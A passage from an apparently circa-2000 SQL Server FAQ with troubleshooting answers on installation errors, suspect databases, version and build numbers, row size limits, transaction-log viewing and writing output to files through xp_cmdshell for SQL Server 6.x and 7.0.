10. If the dial-up networking icon/window appears and tries to make a network connection, then stop and disable the "Remote Access Autodial Manager" service via control panel/services. This is an NT issue rather than a SQL one, but disabling auto-dial is the easiest way around it. (The autodial.txt faq entry has more info).

11. If you are upgrading make sure that the default database for the "sa" login is master.

12. If the error is to do with SQL Performance Monitor counters - SQLCTRxx.DLL - then try removing the SNMP service and all 3rd party network/server monitoring tools. e.g. HP NetServer Agents, Compaq Insight Manager

13. If you are getting a gpf or registry error installing on NT then this could be a known issue with SNMP caused when SNMP managers that come with some server management tools (especially with HP servers) register a lot of SNMP extensions. Specifically when HKLM\System\CCS\Services\SNMP\Paramaters\ExtensionAgents got to around 1K or more.

Either remove the SNMP service before installing SQL Server, or try the following workaround.

- Stop snmp service
- Save the contents (all the values) of the mentioned subkey (use regedt32
for these operations)
- Delete all values except the one with the 'largest' name (the names are
composed of digits)
- Install SQL Server
- Check the 'extensionagents' subkey. Setup will have added a value entry
for SQL Server, save the value name and value somewhere so you can manually
add it again later.
- Restore all 'extensionagents' values previously saved in step 2
- Add the sqlserver entry in case it got nuked in the previous step
- Re-start snmp

14. If the problem is to do with ODBC files not installing due to them being "in use" - typically a SQL 7 problem - then check that nothing has the ODBC files open. This could be other SQL utilities, Exchange, IIS, SNMP Service, Compaq Insight Manager, Backup Exec, Microsoft Netshow Program server, Terminal Server License Server and many other services. Download NTHANDLE/X from www.sysinternals.com (free) if you can't figure out what has the file(s) open - check view dll's, then go into the search function and look for odbc*.dll. It could also be that the ODBC files on your hard-drive have been marked as read-only. Check with ATTRIB.EXE or explorer to see if this is the case.

15. If the error is "Critical Error, could not open the file named D:\MSSQL\BINN\SQLCTRxx.DLL" then first try just retrying as the way performance monitor works it could just have a temporary lock on the file. If that doesn't work then use NTHANDLE/X as per number 13.

16. If it hangs on "Setup is now installing the initial SQL Server configuration" screen, then it could be a timing problem caused by a VERY fast hard disk subsystem. Check the instmsb.out file in the <sql>\install directory and look for the following messages.

98/01/28 12:28:31.43 spid11 Database 'msdb' cannot be opened - it is currently being created. Wait and try query again.

98/01/28 12:28:31.43 spid11 Unable to proceed with the recovery of dbid <5> because of previous errors. Continuing with the next database.

If this is the error then copy the SQL Server installation files to the local hard disk drive. Edit the Instmsdb.sql file. Add a WAITFOR DELAY '0:00:01' statement to the very beginning of the script.

17. If the .OUT files indicate that ISQL cannot connect to the SQL Server to run scripts then you can try the following (note this isn't supported, and the author has only used it to fix servicepack installs so far, but it *may* work for full installs as well). After making the change run "setup /t Local = Yes"

Make a backup of the setup.inf first, then find the following line

set !ServerName = $(!ComputerName)

Now add the following 3 lines after it

ifstr(i) $(!Local) == "Yes"
set !ServerName = "."
endif

18. If it still can't connect to the server during install then this could be a timing problem due to you choosing a non-default codepage/sort-order. Try installing using the default settings. If this works then re-run the setup program after install and re-build master to the settings you want.

19. For SQL 7 check the cnfgsvr.out file in <sql>\install. If you get "An error occurred while attempting to start the service (5)" then this error means that the service has got an access denied. Check that the account you have asked SQL Server/SQL Agent to start under has the "logon as a service" permission.

20. Make sure for upgrades that SQL Server has a name. Run sp_helpserver and check what name srvid of 0 has. If it is not there then run sp_addserver '<servername>', 'LOCAL'

21. If you're getting a 109 error starting SQL Executive then this is a permissions problem with the NT account you've supplied not having permissions to the relevant service or registry keys - HKLM\SOFTWARE\MICROSOFT\MSSQLSERVER. The easiest thing to do is install both MSSQLSERVER and SQLEXECUTIVE with the localsystem account and then go back and change it later.

22. With SQL 7.0 if you get application errors after "Setup is registering ActiveX components..." message then it is a problem with SQL putting an older version of a DLL in on machines with Visual Studio installed.

Search the hard drive for the ATL.DLL file, it will probably be in C:\WINDOWS\SYSTEM. Rename it to ATL.OLD and run the install of SQL 7.0 again. Once the install is complete, go back and rename SQL's version of ATL.DLL to ATL.SQL, and rename ATL.OLD back to ATL.DLL.

REASON:
Visual Studio installed ATL.DLL as a 68 KB file, dated 6/17/98, version
3.00.8168, product version 6.00.8168.
SQL Server 7.0 Desktop Edition installs a 21 KB file, dated 1/24/97, version
2.00.7024, product version 5.00.000.

23. If you're upgrading from MSDE to full SQL Server and the MSDE came from the Office 2000 developer edition then you may get an error "You cannot install a version which is older (7.00.623) than the version on your machine (7.00.677). Un-install the older version.". This is due to an incorrect version number being put in the registry. To fix this problem and allow setup to work amend "HKEY_LOCAL_MACHINE/Software/Microsoft/MSSQLServer/MSSQLServer/CurrentVersion" to have a value of 7.00.623. For more details see Q234915

24. If you get a 432 error then check the file "uninst.exe" in the <WINNT> directory. Make sure that you have permissions to it - take ownership of it if necessary.

25. With a 6.5 to 7.0 upgrade (or version switch) you can sometimes get a problem if registry permissions have been changed. Check that you have full permission on the following registry keys :-

HKLM\Software\Microsoft\MSSQLServer
HKLM\Software\Microsoft\MSSQLServ65
HKLM\Software\Microsoft\MSSQLServ70

Take control of the keys with regedt32.exe if necessary. Make sure that the account you are logged on as (presumably an admin account) has full permissions.

26. One or more of the preceding 25 fixes should get the setup routine run through. If it still isn't installing then check the *.OUT files in the <sql>\install directory for clues as to what is going on. Look for the one with the newest date/time.

27. If the setup seems to run ok, but then SQL won't start then try the following for SQL 6.5 and below.
From the <sql>\binn directory run the following, making sure that the spacing and case is correct

setup /t RegistryRebuild = On

The setup routine will now run and ask you all the normal questions. Answer these as if you were performing the install again (same paths etc.) and it will just update all the registry entries/icons etc. It will leave the databases alone.

28. Once installed, if you have trouble registering your SQL Server by name in SQL EM, then just register it with a name of just a period. i.e. "." without the quotes. This again bypasses the network layer and ensures that a local named-pipe is used.


Q. I am missing the whole of MSDB, or just some tables - how do I create them?

A. In the <sql>\INSTALL directory are the scripts that SQL runs itself to create the MSDB database and it's tables. Before running these make sure the devices/files for msdb are there and create them if not.

The scripts you need to run are :-

instmsdb.sql
servrmsgs.sql
web.sql

These are most easily run with ISQL/W or ISQL/OSQL.


Q. Why do my device sizes appear as negative values in SQL EM?

A. You may also find that because of this error it will not let you make any changes.

This is caused by a known bug in Enterprise Manager when there is greater than 2Gb of free space on a disk. It was fixed in 6.5 SP3 and above. If you are running SQL EM from a client then you will need to apply SP3 to that as well.

Contributed by Neil Pike


Q. How do I do row-level locking on SQL Server?

A. Only SQL 7.0 has full built-in row-level locking.

SQL 6.5 has limited row-level locking that only occurs for inserts to the end of the last page of a table, if "sp_tableoption 'table_name', 'Insert row lock', true" is set. See the books-online for 6.5 for more information.

SQL 6.0 and previous have no row-level locking capabilities.

You can however effectively do row level locking with version 6.5 and earlier as long as each row takes up a whole page - thus locking 1 page is the same as 1 row. You can do this by padding a row with CHAR NOT NULL fields until the row length is forced to be greater than 1024 bytes. (Rows cannot span pages so this forces one row per page).

However, you should note that although the rows on this last data page are being row-level locked, any non-clustered index pages involved are not. These can be a source of contention and even deadlock - when two logically distinct transactions need to lock one or more index pages, and pessimistically in different orders.

Contributed by Neil Pike


Q. How many bytes can I fit on a row/page in SQL Server and why? Are there any workarounds?

A. Rows can never cross page boundaries - page size in 6.5 and earlier is 2K, in SQL 7.0 it is 8K.

For 6.5 and earlier :-

Each 2048 byte page has a 32 byte header leaving 2016 bytes for data. You can have 2 rows of 1008 bytes or 10 rows of 201 bytes. The row size also includes a few bytes of overhead in addition to the data itself; there is more overhead if there are variable length columns.

One row cannot be 2016 bytes - this is because when you insert/update/delete a row, the entire row must be written to the transaction log in a log record. Log pages also have 2016 available bytes per page, and need 50 bytes for transaction log specific information, so this gives a maximum size for a single row of 1962 bytes.

For SQL 7.0 :-

Each 8192 byte page has a 32 byte header leaving 8060 bytes for data.

For all versions :-

You CAN define a table with a rowsize greater than this as long as it contains variable/NULL columns. However, if you try at any point to insert/update a row that has data that actually exceeds this limit then the operation will fail.

There are no workarounds for this. You will have to split the table into multiple tables if you need more data than a row can take.

For more details on page layouts see "Inside SQL Server 6.5" by Ron Soukup or "Inside SQL Server 7.0" by Kalen Delaney. Both highly recommended. Both by Microsoft Press.


Q. I am getting a gpf/registry error installing SQL Server - what is happening?

A. This could well be a known issue with SNMP caused when SNMP managers that come with some server management tools (especially with HP servers) register a lot of SNMP extensions. Specifically when the registry entry at HKLM\System\CCS\Services\SNMP\Paramaters\ExtensionAgents got to around 1K or more. This problem only affects SQL 6.x - SQL 7.0 and above are unaffected.

You can either remove the SNMP service before installing SQL Server (and re-install afterwards), or try the following workaround.

1. Stop snmp service
2. Save the contents (all the values) of the mentioned subkey (use regedt32 for these operations)
3. Delete all values except the one with the 'largest' name (the names are composed of digits)
4. Install SQL Server
5. Check the 'extensionagents' subkey. Setup will have added a value entry for SQL Server. Save the key name and value somewhere so you can manually add it again later.
6. Restore all 'extensionagents' values previously saved in step 2
7. Add the sqlserver entry as it will have been deleted in the previous step
8. Re-start snmp

If you re-install snmp then remember to re-apply your NT service pack to keep all the system dll's in synch.


Q. How do I change the sort-order or character set for a SQL Server database?

A. Basically you can't. You have to get these parameters correct when you install SQL. You will have to :-

  • Backup your data and objects using bcp/transfer manager (NOT dump database)
  • Re-install SQL Server with the correct sort-order/character set
  • Re-load the data and objects

Contributed by Neil Pike


Q. What SQL servicepack am I running?

A. Do a "select @@version" and check the build number against the following table. Or look at the top of the latest SQL errorlog file. Or do a file properties on the sqlservr.exe file. All should return the same value.

For SQL Olap versions do a help/about in Olap Manager.

If it isn't listed here, then it is a "hot-fix" build that Microsoft PSS has given you to fix a specific problem. Hot-fix releases are NOT regression tested, so they should only be applied to production systems to fix a known problem and under the advice of Microsoft PSS. Hot-fixes (password protected) are on ftp.microsoft.com/bussys/sql/transfer. Microsoft PSS will provide passwords as long as you prove you have the bug concerned. The reason for restricting hot-fixes this way is so that PSS can track customers who run them and let them know when a regression tested fix is available.

Service Packs can be downloaded via http://support.microsoft.com or ftp.microsoft.com/bussys/sql.

Note that you can't apply 6.5 SP4 to either SBS or EE versions of SQL Server. SP5 and above are compliant with all these releases - i.e. can be applied to any model of SQL Server (Workstation, Server, EE, SBS etc.)

7.50.198 SQL Server 7.5/2000 Beta 1

7.00.517 SQL Server 7.0 Beta 3
7.00.583 SQL Server 7.0 RC1
7.00.623 SQL Server 7.0 "gold" release
7.00.689 SQL Server 7.0 SP1 Beta
7.00.699 SQL Server 7.0 SP1
7.00.835 SQL Server 7.0 SP2 Beta

7.0.1073 SQL 7 Olap "gold" release
7.0.1245 SQL 7 Olap SP1
7.0.1325 SQL 7 Olap SP2 Beta

6.50.201 SQL Server 6.5 "gold" release.
6.50.213 SQL Server 6.5 with Service Pack 1
6.50.240 SQL Server 6.5 with Service Pack 2
6.50.252 SQL Server 6.5 with "bad" Service Pack 3 - SP3 was pulled and re-issued. Do not use this version.
6.50.258 SQL Server 6.5 with Service Pack 3
6.50.259 SQL Server 6.5 on SBS only
6.50.281 SQL Server 6.5 with Service Pack 4
6.50.297 SQL Server 6.5 included in Site Server 3
6.50.339 SQL Server 6.5 "Y2K" Hot-fix
6.50.415 SQL Server 6.5 with Service Pack 5 - SP5 was re-issued as SP5a. Do not use this version.
6.50.416 SQL Server 6.5 with Service Pack 5a

6.00.121 SQL Server 6.0 "gold" release.
6.00.124 SQL Server 6.0 with Service Pack 1
6.00.139 SQL Server 6.0 with Service Pack 2
6.00.151 SQL Server 6.0 with Service Pack 3

Here's an SP you can run (amended from an original by Jerry Spivey) to show the version

drop PROC VERSION_INFO
go
CREATE PROC VERSION_INFO
AS
SET NOCOUNT ON
SELECT CONVERT(CHAR(25),@@SERVERNAME) AS 'SQL SERVER',
SUBSTRING(@@VERSION,23,4) AS 'PRODUCT VERSION',
SUBSTRING(@@VERSION,35,3) AS 'BUILD NUMBER',
CASE SUBSTRING(@@VERSION,35, 3)
WHEN '121' THEN 'NO SP'
WHEN '124' THEN 'SP1'
WHEN '139' THEN 'SP2'
WHEN '151' THEN 'SP3'
WHEN '201' THEN 'NO SP'
WHEN '213' THEN 'SP1'
WHEN '240' THEN 'SP2'
WHEN '252' THEN 'SP3 ** BAD **'
WHEN '258' THEN 'SP3'
WHEN '259' THEN 'SP3 + SBS'
WHEN '281' THEN 'SP4'
WHEN '297' THEN 'SP4 + SBS'
WHEN '339' THEN 'SP4 + Y2K'
WHEN '415' THEN 'SP5 ** BAD **'
WHEN '416' THEN 'SP5a'
WHEN '517' THEN 'Beta 3'
WHEN '583' THEN 'RC1'
WHEN '623' THEN 'NO SP'
WHEN '689' THEN 'SP1 Beta'
WHEN '699' THEN 'SP1'
WHEN '835' THEN 'SP2 Beta'
WHEN '198' THEN 'Beta 1'
ELSE 'Unknown - Must be a Hot-Fix version'
END AS 'SERVICE PACK'
go
EXEC VERSION_INFO


Q. My SQL Server database has been marked "suspect" - what can I do?

A. In addition to these ideas, also check out support.microsoft.com/support for the Microsoft Knowledgebase. Specifically Q165918.

Firstly look in <sql>\LOG and look at all recent errorlog(s). There WILL be an indication here as to why the database has been marked suspect. You need to fix whatever the problem is first (i.e. missing file, permissions problem, hardware error etc.)

Then, when the problem has been fixed and you're either sure that the data is going to be ok, or you have no backup anyway, so you've nothing to lose, then change the database status to normal and restart SQL Server. To change the database status, and to get more information on recovery, look up the sp_resetstatus sp in the Books Online.

If you don't have access to sp_resetstatus information, then the short version of this is :-

UPDATE master..sysdatabases SET status = status ^ 256 WHERE name = <dbname>

If the database still goes back into suspect mode, and you can't fix the original problem, and you have no recent backup, then you can get information out of the database by putting it into emergency mode. If you do this, extract the data/objects out with bcp/transfer manager and then rebuild the database. Note that the data may be corrupt or transactionally inconsistent.

Issue the following command to put the database into emergency mode (you'll need to allow updates first)

UPDATE master..sysdatabases SET status=-32768 WHERE name='<dbname>'


Q. How do I remove the tempdb database from master?

A. Do the following.

  1. Configure tempdb to be in RAM for 2 MB. Use SQL EM or sp_configure.
  2. Stop and restart SQL Server.
  3. Add a new device for tempdb. Do not call it temp_db - any other name should be ok
  4. Make that new device a 'default' device; make sure no other device is marked as default, especially master. You can check/change default status either using SQL EM, or the sp_diskdefault stored-procedure. Both are fully described in the books-online.
  5. Configure tempdb to NOT be in RAM (set value to 0)
  6. Stop and restart SQL Server
  7. Re-mark whichever device(s) you want to be default.

Contributed by Neil Pike


Q. What are the changes/differences between vX and vY of SQL Server?

A. Changes in functionality are typically documented in incremental steps from the previous release. The following sources are available :-

What's New section in the Books Online
Q152032 Changes to SQL Server 6.5 That Affect 6.0 Apps
Q133177 Changes to SQL Server 6.0 That May Affect 4.2x Apps

There is no particular Kb article for SQL 6.5 to SQL 7.0, so just look in the Books Online. There is also a FAQ entry called SQL7differences.txt.

There are also occasionally changes introduced in service packs. These changes are documented in the readme.txt for the servicepack, which is cumulative. So SP4's readme contains all changes from SP1, 2 and 3 as well.


Q. How can I speed up SQL Server applications running over slow links?

A. First we need to define what a "slow" link is. Typically this is anything from 64Kbit/sec and down. On links of this speed the size of a resultset and the number of network packets that are exchanged can make a significant difference to overall response times.

First, either do a network trace, or use SQL Trace/Profiler to see what exactly is being transferred during a typical client session. Then try the following :-

1. If large intermediate resultsets are being returned, then see if you can write the logic into a stored-procedure so that only the end results are returned. Try and reduce the number of sent/received pieces of SQL by using stored-procedures as much as possible.

2. If the connection uses ODBC and the overhead it creates running sp_serverinfo, sp_cursor, temporary stored-procedures etc. is causing the problem then use passthrough queries if possible and turn off the temporary stored-proc creation in the ODBC dsn properties.

3. Configure the db-lib/ODBC connection to use the tcp-ip sockets net-lib. This performs best over slow network connections and can make a significant difference.

4. Is the application using client-side cursors? Try v3 or above of ODBC which should give you transparent server-side cursors.

5. Don't return 1000 rows to the client if all they need to see on the screen is the first 20.

6. If there are large amounts of static data that need to be retrieved then consider replication to a client copy of Access, SQL 6.5 Workstation or with SQL 7.0 a local copy of SQL Server. Over slow links this should only really be used for mainly static data.

7. Don't send any SQL across the link at all. Use Citrix or NT Terminal Edition to run the application centrally and install ICA/RDP clients on the remote machines. The applications then all run locally on a server next to the SQL Server (the same box isn't recommended). The only thing that goes across the slow-link are screen-updates, which are optimised and compressed and so will often work satisfactorily on a 14.4Kbit/sec modem link. This also has the advantage that there is no longer any client code to maintain at the remote sites either. There are whitepapers on Citrix, Microsoft and Compaq's sites about sizing the server(s) you will need to run in this mode.


Q. How can I fix a corruption in a system table?

A. If the problem can be fixed with an index re-create, then there is a system stored-procedure to do this.

sp_fixindex <db_name>,<system_table_name>,<index-id>
e.g. sp_fixindex pubs,sysindexes,2

You can also issue the relevant dbcc command directly if sp_fixindex refuses to attempt the fix - e.g. for a non-clustered index on sysobjects

DBCC DBREPAIR(dbid, REPAIRINDEX, sysobjects, 2)

It is not possible to rebuild the clustered index on sysindexes or sysobjects.

If the above do not work, then the only choice is to create a new database and then use the transfer tools in SQL EM to copy the good data and objects across.


Q. Why can't I connect Enterprise Manager to my local copy of SQL Server?

A. This is down to the way that SQL interfaces with the NT networking code. The easiest way around this is to register the local server with a name of "." or "(local)" - ignore the double quotes in either case. Both of these names should force SQL to use a local-named pipe to connect which should work no matter what the default SQL connection parameters are set to.


Q. What is the limit on the number of tables in a query in SQL Server?

A. With SQL 6.5 and earlier the limit is 16 - regardless of which "version" of SQL you are running - i.e. Enterprise Edition allows no more than standard. With SQL 7.0 the limit is 256. These figures are hard-coded into the SQL kernel and are arbitrarily chosen by the Microsoft developers - but with good reason. The more tables there are, the longer it takes to optimise a query properly. There has to be a trade-off between the speed of running a query and the speed of optimising it.

It *is* possible to up the limit of 16 in SQL 6.5 by setting traceflag -T105. This is an undocumented and unsupported trace flag, so Microsoft may not support you with any problems on a system that is running this. However, it was allegedly put into the product to allow some of the more complex Peoplesoft queries to run, and so it must have had some testing/QA done on it. It ups the limit to 32.

Normally, if a query needs more than 16 tables then you have a very bad query and/or database design. The best practice would be to break the query down into smaller parts and use temporary tables to hold interim resultsets. This will also make the query more understandable and may even speed it up as the optimiser has more of a chance to choose correct access plans and indices.

Finally the table limit only applies to a single query, so you could always use a UNION statement to join together the results of two separate queries.


Q. I'm doing a transfer using the SQL EM transfer tool, and not only is it not transferring the objects.

A. If you find objects are being dropped from the source this is a known bug that is caused when the server you are connecting to has a period in the name. Typically this is because you are referring to it by tcp-ip address.

What happens is that SQL sees the period and does a local named-pipe connect - which it should do if the name consists of just a period, but not when it contains a period - this means that SQL connects to the local machine as the target. As most people have checked the "drop objects first" box it then proceeds to drop all the objects concerned from what it thinks is the target machine - which is unfortunately the local (source) machine.

To prevent this problem do not refer to your SQL Server's by IP address. Either :-

  1. Put an entry for the name/address in your NT HOSTS file - %systemroot%\SYSTEM32\DRIVERS\ETC\HOSTS.
  2. Use SQL Client Config Manager to define a named connection for the Server in question. In the advanced properties put the server's IP address as well as the net-lib dll needed to connect.
    Then just use the server 'name' instead of the IP address in the transfer to/from fields.


Q. What registry entries does SQL Server use?

A. SQL Server uses the following registry keys. (If you delete all these then the SQL setup routine shouldn't spot the old version)

All versions

  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSSQLServer
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer

6.0 and above.

  • HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MSDTC
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLExecutive

7.0 and above

  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLServerAgent
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Microsoft SQL Server 7
  • HKEY_LOCAL_MACHINE\Software\Microsoft\MSSQLServ65


Q. How can I view the SQL Server log?

A. Most of the information in the SQL log (syslogs) is not accessible via standard SQL commands. There are ways of accessing this information from SQL 6.5 and below. Ostensibly because syslogs is held (more or less) as a SQL table. With SQL 7 this is no longer the case, and there is no api/fil format published for it. Therefore log viewing tools for 7.0 are unlikely to appear any time soon.

SQL 6.5 and below options are :-

1. You can get transaction id and operation type only (no data) through a select * from syslogs. Or use the following code (courtesy of Tibor Karaszi) to make it a bit more readable.

SELECT
xactid AS TRAN_ID,
CASE op
WHEN 0 THEN 'BEGINXACT Start Transaction'
WHEN 1 THEN 'Sysindexes Change'
WHEN 2 THEN 'Not Used'
WHEN 3 THEN 'Not Used'
WHEN 4 THEN 'INSERT Insert Row'
WHEN 5 THEN 'DELETE Delete Row'
WHEN 6 THEN 'INSIND Deferred Update step 2 insert record'
WHEN 7 THEN 'IINSERT NC Index Insert'
WHEN 8 THEN 'IDELETE NC Index Delete'
WHEN 9 THEN 'MODIFY Modify Row'
WHEN 10 THEN 'NOOP'
WHEN 11 THEN 'INOOP Deferred Update step 1 insert record'
WHEN 12 THEN 'DNOOP Deferred Update step 1 delete record'
WHEN 13 THEN 'ALLOC Allocate Page'
WHEN 14 THEN 'DBNEXTID Allocate Next Object ID'
WHEN 15 THEN 'EXTENT Allocate Empty Extent'
WHEN 16 THEN 'SPLIT Page split'
WHEN 17 THEN 'CHECKPOINT'
WHEN 18 THEN 'SAVEXACT Savepoint'
WHEN 19 THEN 'CMD'
WHEN 20 THEN 'DEXTENT Deallocate extent'
WHEN 21 THEN 'DEALLOC Deallocate page'
WHEN 22 THEN 'DROPEXTS Delete all extents on alloc pg'
WHEN 23 THEN 'AEXTENT Alloc extent - mark all pgs used'
WHEN 24 THEN 'SALLOC Alloc new page for split'
WHEN 25 THEN 'Change to Sysindexes'
WHEN 26 THEN 'Not Used'
WHEN 27 THEN 'SORT Sort allocations'
WHEN 28 THEN 'SODEALLOC Related to sort allocations'
WHEN 29 THEN 'ALTDB Alter database record'
WHEN 30 THEN 'ENDXACT End Transaction'
WHEN 31 THEN 'SORTTS Related to sort allocations'
WHEN 32 THEN 'TEXT Log record of direct TEXT insert'
WHEN 33 THEN 'INOOPTEXT Log record for deferred TEXT insert'
WHEN 34 THEN 'DNOOPTEXT Log record for deferred TEXT delete'
WHEN 35 THEN 'INSINDTEXT Indirrect insert log record'
WHEN 36 THEN 'TEXTDELETE Delete text log record'
WHEN 37 THEN 'SORTEDSPLIT Used for sorted splits'
WHEN 38 THEN 'CHGINDSTAT Incremental sysindexes stat changes'
WHEN 39 THEN 'CHGINDPG Direct change to sysindexes'
WHEN 40 THEN 'TXTPTR Info log row WHEN retrieving TEXTPTR'
WHEN 41 THEN 'TEXTINFO Info log for WRITETEXT/UPDATETEXT'
WHEN 42 THEN 'RESETIDENT Used WHEN a truncate table resets an identity value'
WHEN 43 THEN 'UNDO Compensating log record for Insert Only Row Locking (IORL)'
WHEN 44 THEN 'INSERT_IORL Insert with Row Locking record'
WHEN 45 THEN 'INSIND_IORL INSIND with IORL'
WHEN 46 THEN 'IINSERT_IORL IINDEX with IORL'
WHEN 47 THEN 'SPLIT_IORL Page split with IORL'
WHEN 48 THEN 'SALLOC_IORL Alloc new page for split with IORL'
WHEN 49 THEN 'ALLOC_IORL Allocation with IORL'
WHEN 50 THEN 'PREALLOCLOG Pre-allocate log space for CLRs'
ELSE 'Unknown Type' END AS LOG_RECORD
FROM syslogs

2. dbcc log command. Not well documented, but some details below for SQL 6.5.Note that as with most undocumented dbcc commands you need to do a dbcc traceon(3604) first to see the output.

3. 3rd party. Logview from www.dbsg.com.

4. 3rd party. Image Analyzer from www.platinum.com. This product also allows extracting data and SQL statements from the log.

---------------------------------------

dbcc log [ (@dbid, @objid, @pagenum, @rownum, @records, @type [, @printopt]) ]

dbcc log (5, 0, 0, 0, -1, 0, 1) // Show the last begin transaction record in the log

Parameters:
@dbid Database ID
@objid Object ID
A negative value indicates that @pagenum & @rownum represent a row in the log to use as a starting point in the scan of the log.
A value of zero indicates that log records for changes to @pagenum will be included in the commands output.
A positive value followed by a non-zero value for @pagenum indicates that @pagenum and @rownum represent a transaction ID. Log records for that transaction will be included in the output.
A positive value followed by zero values for @pagenum and @rownum indicates an object ID. Log records for changes to that object will be included in the output.
@pagenum page number
@rownum row number in the log
Together with @pagenum, this is either a starting point in a scan of the log or a transaction id.
@records number of records to examine. If positive, the first
@type
@printopt


Q. How can I upgrade the 120-day evaluation version to the full SQL version?

A. For SQL 6.5 :-

1. One method would be to backup the databases, un-install SQL, re-install SQL and then load the databases again.

2. A faster method is :-

(a) Backup your databases first (just in case)

(b) Copy over all the .dll's and .exe's from the full version, over the top of the evaluation version.

(c) Then from the <sql>\binn directory run the following, making sure the case is correct

setup /t RegistryRebuild = On

(d) The setup routine will now run and ask you all the normal questions. Answer these as you did for the 120-day eval version (putting in the same paths etc.) and it will just update all the registry entries/icons etc. It will leave the databases alone.

For SQL 7.0 :-

(If you can connect to SQL then you can do the first 2, otherwise it doesn't matter, but you'll have to create the logins again manually)

(a) Detach your user databases (sp_detach_db)
(b) Create a script file for all logins (or BCP out sysxlogins)
(c) Stop SQL Server
(d) Backup all user database files - *.mdf/*.ndf/*.ldf
(e) Un-install SQL Server eval
(f) Install retail copy of SQL Server
(g) Run script to create logins (or BCP in sysxlogins)
(h) If user databases were deleted by un-install (they shouldn't be) then restore from backup
(i) Attach user databases (sp_attach_db)


Q. I'm not seeing anything in the current activity screen in SQL EM.

A. This is usually caused by the "select into/bulkcopy" database attribute for tempdb being unchecked.

Set the option on again using SQL EM or sp_dboption and that should fix it.


Q. How can I output records/messages to a flat file from inside a SQL Server TSQL script/stored-procedure/trigger?

A. SQL Server doesn't have a handy SPOOL command like Oracle does, but there are a number of ways of doing what you want.

  1. Use xp_cmdshell and the ECHO command. Use the > or >> redirection symbols to either create or append to a file.
    xp_cmdshell "@ECHO test message >> C:\file.fil"
  2. Put the information you want into a table (note this can't be an ordinary temporary table, but it can be a global temporary table) and then bcp it out to a file via xp_cmdshell.
    xp_cmdshell "bcp <dbname>..<tablename> out c:\file.fil -Usa -P<password> -c"
  3. BCP or BULK INSERT (SQL 7 only) can also be used to read in a flat file into a table, from where it can be processed.
  4. Write your own extended stored procedure. As this is a C program it can use standard file access commands to achieve whatever you want.
  5. Run the select through ISQL via xp_cmdshell and use the -o parameter to output the results to a file. This example uses the -E parameter to avoild hard-coding a userid.
    declare @str varchar(255)
    select @str='isql -Q"select * from <tablename>" -E -oc:\file.fil'
    exec master..xp_cmdshell @str


Q. My SQL Server database is showing as "recovering".

A. Every time SQL Server starts up it recovers all databases so that all transactions are either committed or rolled-back. This recovery process normally only takes a few seconds/minutes, but if the server was terminated in the middle of a long running update, then the recovery can take at least as long as the update had taken so far - sometimes longer due to the extra contention on the log device (when writing the original updates to the log these are all written sequentially to the end. When recovery occurs SQL has to scan through the log looking for these updates as well as committing new updates that might be occurring on other databases)

Give it plenty of time to recover, but at the same time check the current and previous errorlog files, and NT errorlogs, for any indications of what has happened. If you've hit a hardware problem or SQL bug, then there WILL be errors there to give an indication on what happened.

Check the physical disk activity lights on the server, and also check the sysprocesses activity to see if the recovery task is using cpu and/or disk i/o. Only on very rare occasions will SQL Server not recover the database correctly.

Additonally to check on recovery progress you could set trace flag 3412 which writes an entry to the errorlog when each transaction is rolled forward or back.

If a database will not recover and you do NOT have a backup then you can use the following trace flags to bypass recovery. If you use these then the database/data may not be in a consistent state, but if you have no other choice then use them and then immediately transfer out (using bcp or transfer tools) all the objects you require.

3607 Skips automatic recovery for all databases.
3608 Skips automatic recovery for all databases except the master database.

If the database is still unavailable - marked as suspect - then issue the following command to put the database into emergency mode (you'll need to allow updates first). You can then go into the database (no need to restart SQL) and extract out the data.

UPDATE master..sysdatabases SET status=-32768 WHERE name='<dbname>'

If all else fails, or you are unsure what to do, then don't hesitate to place a call with Microsoft Product Support Services (PSS). They are there 24x7x365 to deal with problems like this and the charge is nominal compared to the loss of your data! (More details on Microsoft PSS in the mspss.txt faq entry)


Q. I am getting a SQL Server error message "login failed".

A. This is a pretty common one. The login failed message is unfortunately a generic message that should really say "unable to make connection" as it often isn't a logon validation problem. Try the following :-

  1. Remember it is the SQL Server login and password that SQL is expecting, NOT an NT one. The default SQL userid and password is "sa" and no password.
  2. It could be a "network" connection problem. If you're registering a local server with SQL EM then register it as "." without the quotes. Try connecting using whichever tool locally on the server without specifying the server name - this forces a local named-pipe connection.
  3. It could be that SQL is out of connections. Check the <sql>\log\errorlog file for this. Check if SQL has been started in single-user mode. Check the following registry key :-
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\Parameters
    Under here there are SQLArg0, SQLArg1...... type parameters - the single-user one is "/m". Remove it if it is there.
  4. Finally, if you're sure that the userid is correct (and remember SQL can be case-sensitive) then try disabling any virus-checking software as this may be interfering.

Contributed by Neil Pike


Q. Can I run SQL Server on the same machine as Oracle, Exchange etc.?

A. The basic answer is yes as long as there are sufficient resources for all services and you don't mind putting several eggs in one basket.

There are no known compatibility problems with running SQL alongside any other Microsoft or 3rd party products - DBMS or otherwise.

The same holds true for the domain controller question - if you have a very large domain with lots of trusts and authentication requests then co-hosting SQL on it probably isn't a good idea. You WILL see articles from Microsoft saying that putting SQL Server on a DC is a no-no, but these articles date from when an NT machine was a 486/33 with 16Mb of ram, not the 4x800Mhz Zeon 4GB ram monsters currently available.

So give it a try and monitor the resources with NT Performance Monitor. Check cpu usage and waits, disk usage and waits, network usage and waits. The most important counter to check is memory pages/sec which will tell you if the memory is overcommitted and actually causing physical paging to disk. You may want to decrease the amount of memory (SQL 6.5 and below - SQL 7.0 autoconfigures) that SQL Server has to allow the other processes to get enough so that paging doesn't occur.

===

v1.03 2000.02.04
Applies to SQL Server versions : All
Related FAQ articles : n/a
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. Why do my SQL Server identity values get out of synch causing gaps/duplicates etc.?

A. Why? Because of inherent problems with the way they were implemented. For performance reasons the current identity value isn't updated and committed in the system tables every time a row is inserted. This would lead to unacceptably bad performance, especially with SQL 6.x's page-level locking architecture - it could even lead to deadlocks. Therefore the value is stored in memory and only committed to disk when a clean shutdown of SQL occurs.

